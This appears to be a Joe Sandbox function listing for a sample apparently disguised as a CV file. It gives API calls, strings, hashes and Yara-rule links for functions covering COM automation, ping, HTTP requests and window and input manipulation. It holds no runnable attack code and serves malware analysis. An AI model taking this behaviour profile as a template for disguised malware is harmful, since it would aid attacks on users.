Instruction ID: 6362a745ff693329bbf08938e336698b6baef6adf8d508caad267a97d539f8f9
Opcode Fuzzy Hash: 77aaceb355adf949c8ef320fdd2444d69dd9712a4714513bab1e29f8f7d13d9d
Instruction Fuzzy Hash: 55617C75900258AFDB11DFA4CC81FEE77B8EB09704F15426AFA04EB2E1D774A941DB50

Function 003B94E1 Relevance: 16.6, APIs: 11, Instructions: 109memoryCOMMON

Download Yara Rule

APIs

SafeArrayAllocDescriptorEx.OLEAUT32(0000000C,00000000,?), ref: 003B94FE
SafeArrayAllocData.OLEAUT32(?), ref: 003B9549
VariantInit.OLEAUT32(?), ref: 003B955B
SafeArrayAccessData.OLEAUT32(?,?), ref: 003B957B
VariantCopy.OLEAUT32(?,?), ref: 003B95BE
SafeArrayUnaccessData.OLEAUT32(?), ref: 003B95D2
VariantClear.OLEAUT32(?), ref: 003B95E7
SafeArrayDestroyData.OLEAUT32(?), ref: 003B95F4
SafeArrayDestroyDescriptor.OLEAUT32(?), ref: 003B95FD
VariantClear.OLEAUT32(?), ref: 003B960F
SafeArrayDestroyDescriptor.OLEAUT32(?), ref: 003B961A

Memory Dump Source

Source File: 00000000.00000002.1706915956.0000000000381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1706900576.0000000000380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000040D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706996719.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1707012653.0000000000444000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_CV Lic H&S Olivetti Renzo.jbxd

Similarity

API ID: ArraySafe$DataVariant$DescriptorDestroy$AllocClear$AccessCopyInitUnaccess
String ID:
API String ID: 2706829360-0
Opcode ID: cf63e95a24e04d24b344dc3caaa8f474fcda00af85c8c869c1f0fbdcb8b9b067
Instruction ID: 40e218e92d80c1a9b370deb7c80806c5a5dcb91c115c4d5547cccc1725086313
Opcode Fuzzy Hash: cf63e95a24e04d24b344dc3caaa8f474fcda00af85c8c869c1f0fbdcb8b9b067
Instruction Fuzzy Hash: 65414135D00219AFCB02DFE4DC84ADEBB79FF48354F108066E601A7261DB30EA45CBA5

Function 003DBB08 Relevance: 16.0, APIs: 5, Strings: 4, Instructions: 264COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 003DBB5C
VariantInit.OLEAUT32(?), ref: 003DBC2D
VariantInit.OLEAUT32(?), ref: 003DBD2E
VariantClear.OLEAUT32(?), ref: 003DBD38
VariantClear.OLEAUT32(?), ref: 003DBD99

Strings

h?C, xrefs: 003DBB2D
|?C, xrefs: 003DBB34
Incorrect Object type in FOR..IN loop, xrefs: 003DBD11
Null Object assignment in FOR..IN loop, xrefs: 003DBBBD, 003DBCEB, 003DBDA7

Memory Dump Source

Source File: 00000000.00000002.1706915956.0000000000381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1706900576.0000000000380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000040D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706996719.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1707012653.0000000000444000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_CV Lic H&S Olivetti Renzo.jbxd

Similarity

API ID: Variant$ClearInit$_memset
String ID: Incorrect Object type in FOR..IN loop$Null Object assignment in FOR..IN loop$h?C$|?C
API String ID: 2862541840-2982451875
Opcode ID: 2c045bb44669193688c1289ca69168c1bac59dc3c699c83a553fe01afa1ce465
Instruction ID: 321f24c1be2138c7fdd71c280e13bc5858222dec36e82f24cb4899515e8c7c9b
Opcode Fuzzy Hash: 2c045bb44669193688c1289ca69168c1bac59dc3c699c83a553fe01afa1ce465
Instruction Fuzzy Hash: 37918E72A00219EBDF26CFA5D844FAEBBB9EF45710F12815AF515AB280D7709944CFA0

Function 003DADAE Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 197comCOMMON

Download Yara Rule

APIs

Part of subcall function 0038936C: __swprintf.LIBCMT ref: 003893AB
Part of subcall function 0038936C: __itow.LIBCMT ref: 003893DF

CoInitialize.OLE32 ref: 003DADF6
CoUninitialize.OLE32 ref: 003DAE01
CoCreateInstance.OLE32(?,00000000,00000017,0040D8FC,?), ref: 003DAE61
IIDFromString.OLE32(?,?), ref: 003DAED4
VariantInit.OLEAUT32(?), ref: 003DAF6E
VariantClear.OLEAUT32(?), ref: 003DAFCF

Strings

Invalid parameter, xrefs: 003DAEED
NULL Pointer assignment, xrefs: 003DAEA6
Failed to create object, xrefs: 003DAE6C, 003DAF22

Memory Dump Source

Source File: 00000000.00000002.1706915956.0000000000381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1706900576.0000000000380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000040D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706996719.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1707012653.0000000000444000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_CV Lic H&S Olivetti Renzo.jbxd

Similarity

API ID: Variant$ClearCreateFromInitInitializeInstanceStringUninitialize__itow__swprintf
String ID: Failed to create object$Invalid parameter$NULL Pointer assignment
API String ID: 834269672-1287834457
Opcode ID: 1107c5f45e4d202ba4e43eece4f45f9f90df170d2188adb7625dc962dfbcf511
Instruction ID: 689702b715731563ace16723cecac3eab8e027e50f3b388e2383bf3ce25bef44
Opcode Fuzzy Hash: 1107c5f45e4d202ba4e43eece4f45f9f90df170d2188adb7625dc962dfbcf511
Instruction Fuzzy Hash: 4D61CD72608B019FC712EF54EA48B6AB7E8AF88714F10445AF9859B391C770ED48CB97

Function 003D8107 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 163networkfileCOMMON

Download Yara Rule

APIs

WSAStartup.WSOCK32(00000101,?), ref: 003D8168
inet_addr.WSOCK32(?,?,?), ref: 003D81AD
gethostbyname.WSOCK32(?), ref: 003D81B9
IcmpCreateFile.IPHLPAPI ref: 003D81C7
IcmpSendEcho.IPHLPAPI(?,?,?,00000005,00000000,?,00000029,00000FA0), ref: 003D8237
IcmpSendEcho.IPHLPAPI(00000000,00000000,?,00000005,00000000,?,00000029,00000FA0), ref: 003D824D
IcmpCloseHandle.IPHLPAPI(00000000), ref: 003D82C2
WSACleanup.WSOCK32 ref: 003D82C8

Strings

Ping, xrefs: 003D81EB

Memory Dump Source

Source File: 00000000.00000002.1706915956.0000000000381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1706900576.0000000000380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000040D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706996719.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1707012653.0000000000444000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_CV Lic H&S Olivetti Renzo.jbxd

Similarity

API ID: Icmp$EchoSend$CleanupCloseCreateFileHandleStartupgethostbynameinet_addr
String ID: Ping
API String ID: 1028309954-2246546115
Opcode ID: 0d4243cc126de128a78e078eed2ba8ee9643e9bac883b865d8f96873aab12cc5
Instruction ID: 2f15957cb090bc338f73ab16e11b9d6f697273d27abf07a2d86ef61a967d0f94
Opcode Fuzzy Hash: 0d4243cc126de128a78e078eed2ba8ee9643e9bac883b865d8f96873aab12cc5
Instruction Fuzzy Hash: DB519132604700AFDB12EF64DD45B2AB7E4EF48320F05496AF955EB3A0DB70E905CB41

Function 003CE389 Relevance: 15.8, APIs: 4, Strings: 5, Instructions: 97COMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32(00000001), ref: 003CE396
GetDiskFreeSpaceW.KERNEL32(?,?,?,?,?,00000002,00000001), ref: 003CE40C
GetLastError.KERNEL32 ref: 003CE416
SetErrorMode.KERNEL32(00000000,READY), ref: 003CE483

Strings

READONLY, xrefs: 003CE44E
UNKNOWN, xrefs: 003CE43B
READY, xrefs: 003CE45C
NOTREADY, xrefs: 003CE442
INVALID, xrefs: 003CE455

Memory Dump Source

Source File: 00000000.00000002.1706915956.0000000000381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1706900576.0000000000380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000040D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706996719.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1707012653.0000000000444000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_CV Lic H&S Olivetti Renzo.jbxd

Similarity

API ID: Error$Mode$DiskFreeLastSpace
String ID: INVALID$NOTREADY$READONLY$READY$UNKNOWN
API String ID: 4194297153-14809454
Opcode ID: 4b51c5d4f01e2b8730b7feeeb8f1da135d5c216f12cf4a0cdfa881d702d27fdc
Instruction ID: 43f633d4d4904d860d0687677837eb37f63ae063dea0dd4fcec1f705afa980f8
Opcode Fuzzy Hash: 4b51c5d4f01e2b8730b7feeeb8f1da135d5c216f12cf4a0cdfa881d702d27fdc
Instruction Fuzzy Hash: 6131B536A002099FDB06EFA5CD45FBDB7B8EF48301F14806AE505EB291DB74AE01CB51

Function 003BB907 Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 81windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,0000018C,000000FF,00000002), ref: 003BB98C
GetDlgCtrlID.USER32 ref: 003BB997
GetParent.USER32 ref: 003BB9B3
SendMessageW.USER32(00000000,?,00000111,?), ref: 003BB9B6
GetDlgCtrlID.USER32(?), ref: 003BB9BF
GetParent.USER32(?), ref: 003BB9DB
SendMessageW.USER32(00000000,?,?,00000111), ref: 003BB9DE

Strings

ComboBox, xrefs: 003BB911
ListBox, xrefs: 003BB949

Memory Dump Source

Source File: 00000000.00000002.1706915956.0000000000381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1706900576.0000000000380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000040D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706996719.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1707012653.0000000000444000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_CV Lic H&S Olivetti Renzo.jbxd

Similarity

API ID: MessageSend$CtrlParent
String ID: ComboBox$ListBox
API String ID: 1383977212-1403004172
Opcode ID: 6be8fa6e2d8fa72076ba9e7dd0ca391f18fd35857b868e7161cbd3d6f719767a
Instruction ID: 394db5c1df7ddfc986fd27747add96356bce9017b8350c8420054536fd691011
Opcode Fuzzy Hash: 6be8fa6e2d8fa72076ba9e7dd0ca391f18fd35857b868e7161cbd3d6f719767a
Instruction Fuzzy Hash: E721C874900208BFDB06ABB4CC85EFEB7B5EF49304F100156F651A72D1DBB55919DB24

Function 003BB9F0 Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 80windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,00000186,00000002,00000000), ref: 003BBA73
GetDlgCtrlID.USER32 ref: 003BBA7E
GetParent.USER32 ref: 003BBA9A
SendMessageW.USER32(00000000,?,00000111,?), ref: 003BBA9D
GetDlgCtrlID.USER32(?), ref: 003BBAA6
GetParent.USER32(?), ref: 003BBAC2
SendMessageW.USER32(00000000,?,?,00000111), ref: 003BBAC5

Strings

ComboBox, xrefs: 003BB9FA
ListBox, xrefs: 003BBA32

Memory Dump Source

Source File: 00000000.00000002.1706915956.0000000000381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1706900576.0000000000380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000040D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706996719.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1707012653.0000000000444000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_CV Lic H&S Olivetti Renzo.jbxd

Similarity

API ID: MessageSend$CtrlParent
String ID: ComboBox$ListBox
API String ID: 1383977212-1403004172
Opcode ID: 7d7b32edb288652c998357f25388d422a625d682db28778a077ebb5658b5396c
Instruction ID: 140918fcf28eddcd380b347d3022ec2998be01721935e5cc31f29fa693298b84
Opcode Fuzzy Hash: 7d7b32edb288652c998357f25388d422a625d682db28778a077ebb5658b5396c
Instruction Fuzzy Hash: DE2180B4E40208BFDB02ABA4CC85EFEBBB9EF49304F104056F651A7191DBB95919DB24

Function 003BBAD7 Relevance: 15.8, APIs: 4, Strings: 5, Instructions: 71windowCOMMON

Download Yara Rule

APIs

GetParent.USER32 ref: 003BBAE3
GetClassNameW.USER32(00000000,?,00000100), ref: 003BBAF8
_wcscmp.LIBCMT ref: 003BBB0A
SendMessageW.USER32(00000000,00000111,0000702B,00000000), ref: 003BBB85

Strings

largeicons, xrefs: 003BBB19
details, xrefs: 003BBB33
smallicons, xrefs: 003BBB4D
SHELLDLL_DefView, xrefs: 003BBB04
list, xrefs: 003BBB67

Memory Dump Source

Source File: 00000000.00000002.1706915956.0000000000381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1706900576.0000000000380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000040D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706996719.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1707012653.0000000000444000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_CV Lic H&S Olivetti Renzo.jbxd

Similarity

API ID: ClassMessageNameParentSend_wcscmp
String ID: SHELLDLL_DefView$details$largeicons$list$smallicons
API String ID: 1704125052-3381328864
Opcode ID: 99dd46b76e1220df3e964cc93eb06571795d9a59dcf0c7155aa5fe640b36981d
Instruction ID: f4495fe55bd1568f88df23e8ab99e3ea6b94e649db83fb95485dce1b0ce54e4e
Opcode Fuzzy Hash: 99dd46b76e1220df3e964cc93eb06571795d9a59dcf0c7155aa5fe640b36981d
Instruction Fuzzy Hash: 82110676608307FEFA26B630DC06EE6B79CDB16728F200022FA04F58D5EFE668114518

Function 003DB2A9 Relevance: 15.3, APIs: 10, Instructions: 324fileCOMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(?), ref: 003DB2D5
CoInitialize.OLE32(00000000), ref: 003DB302
CoUninitialize.OLE32 ref: 003DB30C
GetRunningObjectTable.OLE32(00000000,?), ref: 003DB40C
SetErrorMode.KERNEL32(00000001,00000029), ref: 003DB539
CoGetInstanceFromFile.OLE32(00000000,?,00000000,00000015,00000002), ref: 003DB56D
CoGetObject.OLE32(?,00000000,0040D91C,?), ref: 003DB590
SetErrorMode.KERNEL32(00000000), ref: 003DB5A3
SetErrorMode.KERNEL32(00000000,00000000,00000000,00000000,00000000), ref: 003DB623
VariantClear.OLEAUT32(0040D91C), ref: 003DB633

Memory Dump Source

Source File: 00000000.00000002.1706915956.0000000000381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1706900576.0000000000380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000040D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706996719.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1707012653.0000000000444000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_CV Lic H&S Olivetti Renzo.jbxd

Similarity

API ID: ErrorMode$ObjectVariant$ClearFileFromInitInitializeInstanceRunningTableUninitialize
String ID:
API String ID: 2395222682-0
Opcode ID: 89f6454e27657fdb13fc545961175b9edccca4680b46da445f74807351a2387f
Instruction ID: ae061dfa9f0d3bfea0d5ace9bcfe17bfda060e92dc232bdff0adf2a49f096dc0
Opcode Fuzzy Hash: 89f6454e27657fdb13fc545961175b9edccca4680b46da445f74807351a2387f
Instruction Fuzzy Hash: 7FC123B2608300EFC701EF65D884A6AB7E9BF89308F01495EF58A9B351DB71ED05CB52

Function 003AACB3 Relevance: 15.2, APIs: 10, Instructions: 219COMMON

Download Yara Rule

APIs

__lock.LIBCMT ref: 003AACC1

Part of subcall function 003A7CF4: __mtinitlocknum.LIBCMT ref: 003A7D06
Part of subcall function 003A7CF4: EnterCriticalSection.KERNEL32(00000000,?,003A7ADD,0000000D), ref: 003A7D1F

__calloc_crt.LIBCMT ref: 003AACD2

Part of subcall function 003A6986: __calloc_impl.LIBCMT ref: 003A6995
Part of subcall function 003A6986: Sleep.KERNEL32(00000000,000003BC,0039F507,?,0000000E), ref: 003A69AC

@_EH4_CallFilterFunc@8.LIBCMT ref: 003AACED
GetStartupInfoW.KERNEL32(?,00436E28,00000064,003A5E91,00436C70,00000014), ref: 003AAD46
__calloc_crt.LIBCMT ref: 003AAD91
GetFileType.KERNEL32(00000001), ref: 003AADD8
InitializeCriticalSectionAndSpinCount.KERNEL32(0000000D,00000FA0), ref: 003AAE11

Memory Dump Source

Source File: 00000000.00000002.1706915956.0000000000381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1706900576.0000000000380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000040D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706996719.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1707012653.0000000000444000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_CV Lic H&S Olivetti Renzo.jbxd

Similarity

API ID: CriticalSection__calloc_crt$CallCountEnterFileFilterFunc@8InfoInitializeSleepSpinStartupType__calloc_impl__lock__mtinitlocknum
String ID:
API String ID: 1426640281-0
Opcode ID: 8a5f7cb16190a6bc799bd8870fdf4dfc1e055d712ab1589e24cec5c2af9800ac
Instruction ID: 80ccb4ca5efcea7e3eb61e10f7ce498d3da2d4676b078a867d4b17cd826daf0a
Opcode Fuzzy Hash: 8a5f7cb16190a6bc799bd8870fdf4dfc1e055d712ab1589e24cec5c2af9800ac
Instruction Fuzzy Hash: 4481E6B2905B458FDB15CF68C8415ADBBF4EF0B320B24426DE4A6AB3D1D7349803CB56

Function 003C4025 Relevance: 15.1, APIs: 10, Instructions: 88threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 003C4047
GetForegroundWindow.USER32(00000000,?,?,?,?,?,003C30A5,?,00000001), ref: 003C405B
GetWindowThreadProcessId.USER32(00000000), ref: 003C4062
AttachThreadInput.USER32(00000000,00000000,00000001,?,?,?,?,?,003C30A5,?,00000001), ref: 003C4071
GetWindowThreadProcessId.USER32(?,00000000), ref: 003C4083
AttachThreadInput.USER32(?,00000000,00000001,?,?,?,?,?,003C30A5,?,00000001), ref: 003C409C
AttachThreadInput.USER32(00000000,00000000,00000001,?,?,?,?,?,003C30A5,?,00000001), ref: 003C40AE
AttachThreadInput.USER32(00000000,00000000,?,?,?,?,?,003C30A5,?,00000001), ref: 003C40F3
AttachThreadInput.USER32(?,?,00000000,?,?,?,?,?,003C30A5,?,00000001), ref: 003C4108
AttachThreadInput.USER32(00000000,?,00000000,?,?,?,?,?,003C30A5,?,00000001), ref: 003C4113

Memory Dump Source

Source File: 00000000.00000002.1706915956.0000000000381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1706900576.0000000000380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000040D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706996719.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1707012653.0000000000444000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_CV Lic H&S Olivetti Renzo.jbxd

Similarity

API ID: Thread$AttachInput$Window$Process$CurrentForeground
String ID:
API String ID: 2156557900-0
Opcode ID: 30939a74943547a086d1c24d1564abde486fe947c16215f5fa3a5c6fad244222
Instruction ID: 2031dcbbfc2818fccd0593402d034a3dfca097c9d6596e6cb95286beceddc22d
Opcode Fuzzy Hash: 30939a74943547a086d1c24d1564abde486fe947c16215f5fa3a5c6fad244222
Instruction Fuzzy Hash: D6310476900210AFEB12CF54DC96F6977BDFB51712F158029FA05E7290CBB6DD808B68

Function 003FDD4A Relevance: 15.1, APIs: 10, Instructions: 59windowCOMMON

Download Yara Rule

APIs

GetSysColor.USER32(00000008), ref: 0039B496
SetTextColor.GDI32(?,000000FF), ref: 0039B4A0
SetBkMode.GDI32(?,00000001), ref: 0039B4B5
GetStockObject.GDI32(00000005), ref: 0039B4BD
GetClientRect.USER32(?), ref: 003FDD63
SendMessageW.USER32(?,00001328,00000000,?), ref: 003FDD7A
GetWindowDC.USER32(?), ref: 003FDD86
GetPixel.GDI32(00000000,?,?), ref: 003FDD95
ReleaseDC.USER32(?,00000000), ref: 003FDDA7
GetSysColor.USER32(00000005), ref: 003FDDC5

Memory Dump Source

Source File: 00000000.00000002.1706915956.0000000000381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1706900576.0000000000380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000040D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706996719.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1707012653.0000000000444000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_CV Lic H&S Olivetti Renzo.jbxd

Similarity

API ID: Color$ClientMessageModeObjectPixelRectReleaseSendStockTextWindow
String ID:
API String ID: 3430376129-0
Opcode ID: 2e7debbefee7d034e5da764ddd91746f220a3d7240e6b936d8593d7d63a52b44
Instruction ID: 90c18e21c7f5581c9c7ddbcd66d3a35e7d804342e9db7bf1a0adf7aff8c8f709
Opcode Fuzzy Hash: 2e7debbefee7d034e5da764ddd91746f220a3d7240e6b936d8593d7d63a52b44
Instruction Fuzzy Hash: 4B115131900205FFDB126FA4ED08BA97F65EB49325F114635FA66A90E2CB310955EF14

Function 00383093 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 210COMMON

Download Yara Rule

APIs

mciSendStringW.WINMM(close all,00000000,00000000,00000000), ref: 003830DC
CoUninitialize.OLE32(?,00000000), ref: 00383181
UnregisterHotKey.USER32(?), ref: 003832A9
DestroyWindow.USER32(?), ref: 003F5079
FreeLibrary.KERNEL32(?), ref: 003F50F8
VirtualFree.KERNEL32(?,00000000,00008000), ref: 003F5125

Strings

close all, xrefs: 003830D7

Memory Dump Source

Source File: 00000000.00000002.1706915956.0000000000381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1706900576.0000000000380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000040D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706996719.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1707012653.0000000000444000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_CV Lic H&S Olivetti Renzo.jbxd

Similarity

API ID: Free$DestroyLibrarySendStringUninitializeUnregisterVirtualWindow
String ID: close all
API String ID: 469580280-3243417748
Opcode ID: 66dad8edda6cfc31ca4280854b6aaf4a33df390a0409fa57426cd54f9c02b7a0
Instruction ID: 87ad4b19c843cf934398ac24376b0fdb3eba3ff468d398c7faff201a6c3dda04
Opcode Fuzzy Hash: 66dad8edda6cfc31ca4280854b6aaf4a33df390a0409fa57426cd54f9c02b7a0
Instruction Fuzzy Hash: AF9139746106068FC706FF24C995E68F3A4FF05B04F5582E9E50AAB262DF30AE5ACF54

Function 0039CB8D Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 185windowCOMMON

Download Yara Rule

APIs

SetWindowLongW.USER32(?,000000EB), ref: 0039CC15

Part of subcall function 0039CCCD: GetClientRect.USER32(?,?), ref: 0039CCF6
Part of subcall function 0039CCCD: GetWindowRect.USER32(?,?), ref: 0039CD37
Part of subcall function 0039CCCD: ScreenToClient.USER32(?,?), ref: 0039CD5F

GetDC.USER32 ref: 003FD137
SendMessageW.USER32(?,00000031,00000000,00000000), ref: 003FD14A
SelectObject.GDI32(00000000,00000000), ref: 003FD158
SelectObject.GDI32(00000000,00000000), ref: 003FD16D
ReleaseDC.USER32(?,00000000), ref: 003FD175
MoveWindow.USER32(?,?,?,?,?,?,?,00000031,00000000,00000000), ref: 003FD200

Strings

U, xrefs: 003FD0D5

Memory Dump Source

Source File: 00000000.00000002.1706915956.0000000000381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1706900576.0000000000380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000040D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706996719.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1707012653.0000000000444000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_CV Lic H&S Olivetti Renzo.jbxd

Similarity

API ID: Window$ClientObjectRectSelect$LongMessageMoveReleaseScreenSend
String ID: U
API String ID: 4009187628-3372436214
Opcode ID: b6d7fbc4c5b86e6958b28bde099dd485b8cbe7eb12d9ab77c2c1dc528afabed0
Instruction ID: 2faa9dadfe624802d5b6a48bd0dbcabea9ff0645554803a9e0d4f93ddba85df7
Opcode Fuzzy Hash: b6d7fbc4c5b86e6958b28bde099dd485b8cbe7eb12d9ab77c2c1dc528afabed0
Instruction Fuzzy Hash: 6D71CE35400209EFCF239F64C889ABA7BB6FF49310F194669EE555A2A6C7319C81DF60

Function 003D45C4 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 133networkCOMMON

Download Yara Rule

APIs

InternetConnectW.WININET(?,?,?,?,?,?,00000000,00000000), ref: 003D45FF
HttpOpenRequestW.WININET(00000000,00000000,?,00000000,00000000,00000000,?,00000000), ref: 003D462B
InternetQueryOptionW.WININET(00000000,0000001F,00000000,?), ref: 003D466D
InternetSetOptionW.WININET(00000000,0000001F,00000100,00000004), ref: 003D4682
HttpSendRequestW.WININET(00000000,00000000,00000000,00000000,00000000), ref: 003D468F
HttpQueryInfoW.WININET(00000000,00000005,?,?,00000000), ref: 003D46BF
InternetCloseHandle.WININET(00000000), ref: 003D4706

Part of subcall function 003D5052: GetLastError.KERNEL32(?,?,003D43CC,00000000,00000000,00000001), ref: 003D5067

Strings

, xrefs: 003D46B8

Memory Dump Source

Source File: 00000000.00000002.1706915956.0000000000381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

